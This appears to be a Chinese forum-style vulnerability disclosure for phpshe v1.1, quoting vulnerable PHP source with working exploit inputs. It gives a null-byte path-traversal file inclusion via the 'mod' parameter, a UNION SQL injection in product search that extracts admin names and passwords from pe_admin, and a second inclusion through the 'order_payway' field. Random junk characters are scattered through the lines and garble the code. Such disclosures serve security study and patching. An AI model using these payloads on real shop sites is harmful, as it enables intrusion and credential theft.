phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
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/* By: : Kn1f3
7 C8 @7 N5 s, Y5 Q/* E-Mail : 681796@qq.com
0 j- P: N: d$ t6 S: I0 `/*******************************************************/
; r$ n  f$ i: W! m$ n6 R6 t0×00 整体大概参数传输

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8 L) k- d" t2 j( j: I4 i7 l//common.php
. ~% G7 X8 L+ ?- ^if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
3 M8 c! p# h0 p8 k}
7 I8 X  E; m, telse {
  J; J# z' @* W% U1 y& Y3 V& z!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% w( V' S' }* t!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, j9 i, p, o8 r6 t1 [' S: E' w, i}
session_start();
3 A4 d) K% y) @( k5 C" W. S' l!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
+ J& H4 W, U9 i  s- \!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞
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+ a+ F" a0 o2 j) Y$ `. ]3 I//首页文件
( l1 m& T- i1 J/ V<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
: K! P. ^5 e* fpe_result();
" e) S7 f  y/ c7 [7 M?>
//common 文件 第15行开始
' P+ c. s, I3 l7 W9 x" B/ ]# Murl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
) w0 P) X! }4 N) i$ R: N3 X/ D$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入
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<code id="code2">

//product.php文件
case 'list':
# t3 W/ G% R5 m; `$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
; W8 M+ V7 w/ J$ ~  I& @//搜索
( |$ V* I3 ~* _$ \& A, v. ^) `; Z6 q$sqlwhere = " and `product_state` = 1";
6 `% J- v" W9 l( v# F2 o) u* h! z3 mpe_lead('hook/category.hook.php');
, `5 n. k! G1 X8 E) Dif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
( n3 l$ [) u/ @5 m5 g* h- D$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 h' _5 n( A- H. |: l  T0 w6 `if ($_g_orderby) {
) @; u! C8 \$ ?/ M) R3 j$orderby = explode('_', $_g_orderby);
, u+ s! b+ ~/ ?2 M+ F6 |$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
/ R+ b' P( m* n$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
/ H4 g' k' [- H8 k' U//当前路径
$nowpath = category_path($category_id);
4 g# C: p" J; w  Y9 a) z8 c- ^$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
9 t" ]0 ^2 y4 U7 M$ sproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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, }7 z: O1 [1 U<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

- I0 c! m/ K  w+ O& Tif ($k == 'bank') {

  i/ c9 Y# q4 W' M5 H$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 g7 }- P' }& @4 W( S% nforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

9 a# O# l2 P1 b! r: J+ m6 `1 linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 K. y1 A5 q1 s% v+ a}//当一切准备好的时候就可以进行"鸡肋包含了"

7 {6 @+ w) o/ _1 [& Y. i# X# Nelse {

pe_error('支付错误...');

}

}

/ z" i5 ?7 M. s5 L- Q& T( w, |7 ~$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

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}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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